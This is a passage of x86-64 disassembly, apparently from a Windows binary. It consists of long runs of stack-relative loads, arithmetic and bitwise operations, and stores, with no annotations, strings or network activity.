mov ecx, dword [rsp + 0x6c50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c28], eax
lea rax, [rsp + 0xda70]
mov qword [rsp + 0xf550], rax
mov rax, qword [rsp + 0xc8f0]
mov rcx, qword [rsp + 0xf1c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69bc], eax
mov rax, qword [rsp + 0xf4d0]
mov rcx, qword [rsp + 0xde58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xccb8], rax
lea rax, [rsp + 0x1ab4]
mov qword [0x1402c9800], rax
movzx eax, byte [rsp + 0x235]
mov byte [rsp + 0x247], al
mov rax, qword [rsp + 0xe280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1908], ax
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x248], al
mov rax, qword [rsp + 0xc940]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbd90]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xebf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xe228]
mov eax, dword [rax]
mov dword [rsp + 0x7078], eax
mov rax, qword [rsp + 0xdce8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0a0]
mov qword [rsp + 0xf558], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf558]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc300], rax
mov rax, qword [rsp + 0xe080]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xf118]
mov qword [rsp + 0xf560], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf560]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc198]
mov dword [rcx], eax
lea rax, [rsp + 0xbb68]
mov qword [rsp + 0xf568], rax
mov rax, qword [rsp + 0xea10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22f]
xor eax, ecx
mov byte [0x1402c7557], al
movsx eax, byte [rsp + 0x238]
movsx ecx, byte [0x1402c754f]
or eax, ecx
mov byte [rsp + 0x21b], al
movzx eax, byte [rsp + 0x171]
mov byte [rsp + 0x249], al
mov rax, qword [rsp + 0xed10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x194c]
add eax, ecx
mov word [rsp + 0x19b4], ax
movzx eax, word [rsp + 0x19b8]
movzx ecx, word [0x1402c74b4]
and eax, ecx
mov word [rsp + 0x19a8], ax
lea rax, [rsp + 0x6aec]
mov qword [rsp + 0xf570], rax
mov rax, qword [rsp + 0xcdb8]
mov rcx, qword [rsp + 0xc690]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xddc0], rax
lea rax, [rsp + 0x6f80]
mov qword [rsp + 0xf578], rax
mov rax, qword [rsp + 0xd098]
mov rcx, qword [rsp + 0xf238]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xead8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdcc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd2]
sub eax, ecx
mov byte [rsp + 0x130], al
movzx eax, word [rsp + 0x1bac]
mov rcx, qword [0x1402c9798]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c9788], ax
lea rax, [rsp + 0x93]
mov qword [rsp + 0xf580], rax
mov rax, qword [rsp + 0xd9e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1654]
add eax, ecx
mov word [rsp + 0x19c0], ax
movzx eax, word [rsp + 0x1a0c]
mov word [rsp + 0x1c9c], ax
mov rax, qword [rsp + 0xd5c8]
mov ecx, dword [rsp + 0x6ce8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6af4], eax
mov rax, qword [rsp + 0xe358]
mov rcx, qword [rsp + 0xe430]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xdbd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xec80]
mov rax, qword [rax]
mov qword [rsp + 0xf588], rax
mov rax, qword [rsp + 0xee78]
mov ecx, dword [rsp + 0x6d1c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd990]
mov dword [rcx], eax
mov rax, qword [rsp + 0xeee8]
movzx eax, byte [rax]
mov byte [rsp + 0x24a], al
mov rax, qword [rsp + 0xd1a8]
movzx eax, word [rax]
mov word [0x1402c9808], ax
mov rax, qword [0x1402c93c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1c8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcdd8]
mov byte [rcx], al
lea rax, [rsp + 0xa7]
mov qword [rsp + 0xf590], rax
mov rax, qword [rsp + 0xf108]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a54]
xor eax, ecx
mov word [rsp + 0x1814], ax
mov rax, qword [rsp + 0xc370]
mov rcx, qword [rsp + 0xd7b0]
mov qword [rsp + 0xf598], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf598]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd2c0], rax
mov rax, qword [rsp + 0xe808]
mov qword [rsp + 0xf5a0], rax
mov eax, dword [rsp + 0x6be8]
mov rcx, qword [rsp + 0xddf0]
mov qword [rsp + 0xf5a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf5a8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xef20]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf1f0]
mov eax, dword [rax]
mov dword [rsp + 0x707c], eax
mov rax, qword [rsp + 0xe1b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1670]
sub eax, ecx
mov rcx, qword [rsp + 0xcfd8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc1a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7d]
add eax, ecx
mov byte [0x1402c916a], al
mov rax, qword [rsp + 0xbf08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18a8]
and eax, ecx
mov word [rsp + 0x15b0], ax
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0x24b], al
movsx eax, word [rsp + 0x1b90]
movsx ecx, word [0x1402c7610]
sub eax, ecx
mov word [rsp + 0x1c20], ax
lea rax, [rsp + 0xd668]
mov qword [rsp + 0xf5b0], rax
mov rax, qword [rsp + 0xdf58]
mov rcx, qword [rsp + 0xebb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xdac0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf028]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f10], eax
mov rax, qword [rsp + 0xef58]
mov rax, qword [rax]
mov qword [rsp + 0xf5b8], rax
movzx eax, byte [rsp + 0x20d]
mov rcx, qword [rsp + 0xcec8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x19e], al
lea rax, [0x1402c75cc]
mov qword [0x1402c9810], rax
lea rax, [rsp + 0x8d]
mov qword [rsp + 0xf5c0], rax
movsx eax, word [rsp + 0x198c]
mov rcx, qword [rsp + 0xd418]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15a0], ax
mov rax, qword [rsp + 0xf338]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9498]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf008]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0x24c], al
mov rax, qword [rsp + 0xda38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbfb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe348], rax
mov eax, dword [rsp + 0x69a8]
mov dword [rsp + 0x7080], eax
mov rax, qword [rsp + 0xcaf8]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdf90]
mov qword [rcx], rax
lea rax, [rsp + 0x6e34]
mov qword [rsp + 0xf5c8], rax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1648]
cdq
idiv ecx
mov word [0x1402c7604], ax
movsx eax, word [0x1402c75e4]
movsx ecx, word [rsp + 0x15a8]
or eax, ecx
mov word [rsp + 0x186c], ax
movsx eax, byte [rsp + 0x1f3]
mov rcx, qword [rsp + 0xc318]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1eb], al
lea rax, [rsp + 0x189c]
mov qword [rsp + 0xf5d0], rax
mov rax, qword [rsp + 0xcac0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd398]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1ff], al
lea rax, [rsp + 0x6c6c]
mov qword [rsp + 0xf5d8], rax
mov rax, qword [rsp + 0xe5f0]
mov rcx, qword [rsp + 0xd770]
mov qword [rsp + 0xf5e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf5e0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xda08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdaf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7014]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbaf8]
mov dword [rcx], eax
lea rax, [rsp + 0xbe38]
mov qword [rsp + 0xf5e8], rax
mov rax, qword [rsp + 0xdb38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10f]
sub eax, ecx
mov byte [0x1402c9127], al
mov rax, qword [rsp + 0xc3d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19ec]
sub eax, ecx
mov rcx, qword [rsp + 0xccd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
mov word [rsp + 0x1ca0], ax
movsx eax, word [rsp + 0x1ac4]
movsx ecx, word [0x1402c74c4]
and eax, ecx
mov rcx, qword [rsp + 0xe540]
mov word [rcx], ax
mov rax, qword [rsp + 0xdd40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf408]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x188], al
lea rax, [rsp + 0x7008]
mov qword [rsp + 0xf5f0], rax
mov rax, qword [rsp + 0xe288]
mov rcx, qword [rsp + 0xc5d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6cb8], eax
mov rax, qword [rsp + 0xbfd8]
mov rax, qword [rax]
mov qword [rsp + 0xf5f8], rax
mov rax, qword [rsp + 0xee90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd5f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1b0], rax
mov rax, qword [0x1402c9770]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xef68]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c7624], ax
mov rax, qword [rsp + 0xba90]
movzx eax, word [rax]
mov word [rsp + 0x1ca4], ax
mov rax, qword [rsp + 0xeed8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x169]
add eax, ecx
mov byte [rsp + 0x88], al
movzx eax, byte [0x1402c74f7]
movzx ecx, byte [rsp + 0xcb]
or eax, ecx
mov byte [rsp + 0x1d8], al
mov rax, qword [rsp + 0xf350]
movzx eax, byte [rax]
mov byte [rsp + 0x24d], al
mov rax, qword [rsp + 0xd548]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd8a0]
mov qword [rsp + 0xf600], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf600]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d44], eax
mov rax, qword [rsp + 0xc8b8]
mov rax, qword [rax]
mov qword [rsp + 0xf608], rax
mov rax, qword [rsp + 0xe300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc860]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd100]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a10]
movzx ecx, al
mov eax, dword [rsp + 0x6d24]
sar eax, cl
mov dword [rsp + 0x6fc8], eax
mov rax, qword [rsp + 0xd620]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe200]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c7628], ax
movzx eax, byte [rsp + 0x242]
mov byte [rsp + 0x24e], al
movsx eax, byte [rsp + 0x20c]
mov rcx, qword [0x1402c93f0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xecb0]
mov byte [rcx], al
mov rax, qword [rsp + 0xf2b0]
movzx eax, word [rax]
mov word [rsp + 0x1ca8], ax
mov rax, qword [rsp + 0xf350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb7], al
mov eax, dword [rsp + 0x68fc]
mov ecx, dword [rsp + 0x6f28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc380]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc718]
mov rax, qword [rax]
mov qword [rsp + 0xf610], rax
mov eax, dword [rsp + 0x6bf4]
mov ecx, dword [rsp + 0x706c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f5c], eax
mov rax, qword [rsp + 0xca78]
mov qword [rsp + 0xf618], rax
mov rax, qword [rsp + 0xf488]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd248]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402c9328]
mov word [rcx], ax
mov rax, qword [rsp + 0xcbc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17fc]
add eax, ecx
mov word [rsp + 0x17b8], ax
mov rax, qword [rsp + 0xcc90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17b0]
sub eax, ecx
mov word [rsp + 0x15ec], ax
movzx eax, word [rsp + 0x1960]
mov word [rsp + 0x1cac], ax
movzx eax, byte [rsp + 0x1b1]
movzx ecx, byte [rsp + 0x6f]
sub eax, ecx
mov byte [rsp + 0x228], al
lea rax, [rsp + 0xc0e8]
mov qword [rsp + 0xf620], rax
mov rax, qword [rsp + 0xbd38]
mov rcx, qword [rsp + 0xde78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x706c], eax
mov rax, qword [rsp + 0xdcf0]
mov rax, qword [rax]
mov qword [rsp + 0xf628], rax
mov eax, dword [rsp + 0x6ca0]
movzx ecx, al
mov eax, dword [rsp + 0x69e4]
shl eax, cl
mov dword [rsp + 0x6dd0], eax
mov rax, qword [rsp + 0xd760]
movzx eax, byte [rax]
mov byte [0x1402c916d], al
movzx eax, word [rsp + 0x195c]
movzx ecx, word [rsp + 0x1cac]
or eax, ecx
mov word [rsp + 0x1540], ax
movzx eax, byte [rsp + 0x1b0]
mov byte [rsp + 0x24f], al
movsx eax, word [0x1402c93e0]
movsx ecx, word [rsp + 0x1c40]
sar eax, cl
mov rcx, qword [rsp + 0xcd60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x144]
mov byte [rsp + 0x250], al
mov rax, qword [rsp + 0xbdd0]
mov rcx, qword [rsp + 0xd058]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd878]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6cc8]
mov ecx, dword [0x1402c7498]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c6c], eax
lea rax, [rsp + 0xc860]
mov qword [rsp + 0xf630], rax
mov rax, qword [rsp + 0xdc58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6db8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d18], eax
mov rax, qword [rsp + 0xbea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21a]
add eax, ecx
mov byte [0x1402c74ef], al
lea rax, [rsp + 0x1984]
mov qword [rsp + 0xf638], rax
movsx eax, byte [rsp + 0xca]
mov rcx, qword [0x1402c9500]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b8], al
mov rax, qword [rsp + 0xd4a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov byte [rsp + 0x78], al
movzx eax, word [rsp + 0x1600]
mov word [rsp + 0x1cb0], ax
mov rax, qword [rsp + 0xd7b8]
mov rcx, qword [rsp + 0xc850]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6e5c], eax
mov eax, dword [rsp + 0x6acc]
mov dword [rsp + 0x7084], eax
mov rax, qword [rsp + 0xbdd0]
mov rcx, qword [rsp + 0xee90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd408], rax
mov rax, qword [rsp + 0xbf10]
mov rax, qword [rax]
mov qword [rsp + 0xf640], rax
mov rax, qword [0x1402c92c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x81]
imul eax, ecx
mov rcx, qword [rsp + 0xf590]
mov byte [rcx], al
lea rax, [rsp + 0x1a88]
mov qword [0x1402c9818], rax
movzx eax, word [rsp + 0x1b54]
mov rcx, qword [rsp + 0xcee8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x19d8], ax
lea rax, [0x1402c90c4]
mov qword [rsp + 0xf648], rax
movsx eax, byte [rsp + 0xae]
mov rcx, qword [rsp + 0xced0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc158]
mov byte [rcx], al
mov rax, qword [rsp + 0xf438]
mov rax, qword [rax]
mov qword [rsp + 0xf650], rax
mov rax, qword [rsp + 0xdca0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c8c], eax
mov rax, qword [rsp + 0xe380]
mov rcx, qword [rsp + 0xc3a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf58], rax
mov rax, qword [rsp + 0xcbd0]
mov eax, dword [rax]
mov dword [rsp + 0x7088], eax
movzx eax, byte [0x1402c9126]
movzx ecx, byte [rsp + 0x9f]
shl eax, cl
mov byte [rsp + 0x16a], al
movsx eax, word [rsp + 0x1614]
movsx ecx, word [rsp + 0x1afc]
xor eax, ecx
mov word [0x1402c75e4], ax
mov rax, qword [rsp + 0xbf40]
movzx eax, byte [rax]
mov byte [rsp + 0x251], al
movzx eax, byte [reloc.SHELL32.dll_ILCombine]
movzx ecx, byte [rsp + 0x229]
sar eax, cl
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0xdb68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1610]
and eax, ecx
mov word [rsp + 0x1850], ax
mov rax, qword [rsp + 0xeb88]
mov qword [rsp + 0xf658], rax
mov rax, qword [rsp + 0xf4a0]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6dfc]
mov rcx, qword [rsp + 0xeb18]
mov dword [rcx], eax
lea rax, [rsp + 0xf1b8]
mov qword [rsp + 0xf660], rax
mov rax, qword [rsp + 0xf2d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ad8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fc0], eax
movzx eax, word [rsp + 0x15fc]
mov rcx, qword [rsp + 0xea50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1900], ax
movzx eax, byte [rsp + 0x18a]
mov rcx, qword [rsp + 0xbb50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c755a], al
movzx eax, word [rsp + 0x1bd8]
mov word [rsp + 0x1cb4], ax
mov rax, qword [rsp + 0xdb40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc3d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a80], ax
mov rax, qword [rsp + 0xbd10]
movzx eax, word [rax]
mov word [rsp + 0x1cb8], ax
mov rax, qword [rsp + 0xceb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcae8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xee80], rax
mov rax, qword [rsp + 0xe330]
mov qword [rsp + 0xf668], rax
mov eax, dword [rsp + 0x6998]
mov ecx, dword [rsp + 0x6f98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7074], eax
mov rax, qword [rsp + 0xe050]
mov ecx, dword [0x1402c90a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xdc80]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1668]
mov word [rsp + 0x1cbc], ax
movzx eax, byte [rsp + 0x226]
mov rcx, qword [rsp + 0xc928]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c750f], al
movzx eax, word [rsp + 0x1b74]
movzx ecx, word [rsp + 0x1b6c]
shl eax, cl
mov rcx, qword [rsp + 0xbf88]
mov word [rcx], ax
movzx eax, byte [rsp + 0x18e]
mov byte [rsp + 0x252], al
movsx eax, byte [rsp + 0x87]
mov rcx, qword [rsp + 0xf360]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ef], al
movzx eax, byte [0x1402c74b3]
mov rcx, qword [rsp + 0xca08]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0xe858]
mov rax, qword [rax]
mov qword [rsp + 0xf670], rax
mov rax, qword [rsp + 0xdcb0]
mov rcx, qword [rsp + 0xc668]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xe8a8]
mov qword [rcx], rax
lea rax, [rsp + 0x7004]
mov qword [rsp + 0xf678], rax
mov eax, dword [rsp + 0x700c]
mov ecx, dword [rsp + 0x7008]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c7c], eax
mov rax, qword [rsp + 0xd7a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdaa8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c97e8]
mov byte [rcx], al
movzx eax, word [0x1402c9450]
mov rcx, qword [rsp + 0xe0d0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x175c], ax
movzx eax, word [rsp + 0x1b4c]
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0xbd80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cb4]
add eax, ecx
mov word [rsp + 0x1bf8], ax
lea rax, [rsp + 0x1638]
mov qword [rsp + 0xf680], rax
mov rax, qword [rsp + 0xe4f0]
mov rcx, qword [rsp + 0xe838]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccd8], rax
mov rax, qword [rsp + 0xf5f0]
mov ecx, dword [rsp + 0x6fa4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xf4e0]
mov dword [rcx], eax
lea rax, [rsp + 0xed30]
mov qword [rsp + 0xf688], rax
mov eax, dword [rsp + 0x6a90]
mov ecx, dword [rsp + 0x6e9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b88], eax
lea rax, [rsp + 0x194]
mov qword [0x1402c9820], rax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x253], al
mov rax, qword [rsp + 0xe1e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x142]
add eax, ecx
mov byte [rsp + 0x5b], al
movzx eax, byte [rsp + 0x190]
mov byte [rsp + 0x254], al
movsx eax, word [rsp + 0x1c44]
mov rcx, qword [0x1402c9580]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b68], ax
mov rax, qword [rsp + 0xf528]
mov rcx, qword [rsp + 0xdf90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe978], rax
mov eax, dword [rsp + 0x6ce8]
mov dword [rsp + 0x708c], eax
mov rax, qword [rsp + 0xf5c8]
mov ecx, dword [rsp + 0x6e10]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xe6f0]
mov dword [rcx], eax
lea rax, [rsp + 0xe798]
mov qword [rsp + 0xf690], rax
mov rax, qword [rsp + 0xecb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c5]
sar eax, cl
mov rcx, qword [0x1402c9458]
mov byte [rcx], al
mov rax, qword [0x1402c9330]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xe4d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
shl eax, cl
mov rcx, qword [rsp + 0xe9c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a7c]
mov word [rsp + 0x1cc4], ax
mov rax, qword [0x1402c94b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd938]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x15fc], ax
lea rax, [rsp + 0x6df0]
mov qword [rsp + 0xf698], rax
mov rax, qword [rsp + 0xbad0]
mov ecx, dword [rsp + 0x6ddc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f90], eax
mov rax, qword [rsp + 0xc900]
mov rcx, qword [rsp + 0xcca8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf3b8], rax
mov rax, qword [rsp + 0xe768]
mov qword [rsp + 0xf6a0], rax
lea rax, [rsp + 0x1d0]
mov qword [0x1402c9828], rax
mov rax, qword [rsp + 0xed90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe068]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbcd8]
mov word [rcx], ax
lea rax, [rsp + 0xdb]
mov qword [rsp + 0xf6a8], rax
movsx eax, word [rsp + 0x1af4]
mov rcx, qword [rsp + 0xe9d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1aec], ax
lea rax, [rsp + 0x147]
mov qword [rsp + 0xf6b0], rax
mov rax, qword [rsp + 0xe080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xeb38]
mov rcx, qword [rsp + 0xf270]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc078]
mov qword [rcx], rax
lea rax, [rsp + 0x6e24]
mov qword [rsp + 0xf6b8], rax
mov rax, qword [rsp + 0xcf98]
mov rcx, qword [rsp + 0xd3a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xca80]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x20b]
mov rcx, qword [rsp + 0xeed8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c755b], al
movzx eax, word [0x1402c7594]
mov word [rsp + 0x1cc8], ax
movzx eax, byte [rsp + 0x24d]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov byte [rsp + 0x102], al
mov rax, qword [rsp + 0xe148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1580]
sub eax, ecx
mov rcx, qword [rsp + 0xdbb0]
mov word [rcx], ax
lea rax, [rsp + 0x19f4]
mov qword [rsp + 0xf6c0], rax
mov rax, qword [rsp + 0xe760]
mov rcx, qword [rsp + 0xc0c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcf00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xda00]
mov qword [rsp + 0xf6c8], rax
mov eax, dword [rsp + 0x6fa0]
mov rcx, qword [rsp + 0xd000]
mov qword [rsp + 0xf6d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf6d0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x7020], eax
mov eax, dword [rsp + 0x6d64]
mov ecx, dword [rsp + 0x6af0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d38], eax
mov rax, qword [rsp + 0xbc80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
shl eax, cl
mov rcx, qword [0x1402c91b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd758]
movzx eax, word [rax]
mov word [rsp + 0x1ccc], ax
mov rax, qword [rsp + 0xcfe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
xor eax, ecx
mov byte [rsp + 0x226], al
mov rax, qword [rsp + 0xc520]
movzx eax, word [rax]
mov word [rsp + 0x1cd0], ax
mov rax, qword [0x1402c90d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0xe988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ea4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fdc], eax
mov rax, qword [rsp + 0xecd8]
mov eax, dword [rax]
mov dword [rsp + 0x7090], eax
mov rax, qword [rsp + 0xdeb0]
mov rcx, qword [rsp + 0xf3f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd0b0], rax
lea rax, [rsp + 0xccd8]
mov qword [rsp + 0xf6d8], rax
movzx eax, word [rsp + 0x179c]
mov rcx, qword [0x1402c9770]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402c760c], ax
mov rax, qword [rsp + 0xc4f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc640]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63], al
lea rax, [rsp + 0xe0]
mov qword [rsp + 0xf6e0], rax
movsx eax, word [rsp + 0x17ec]
mov rcx, qword [0x1402c9310]
movsx ecx, word [rcx]
add eax, ecx
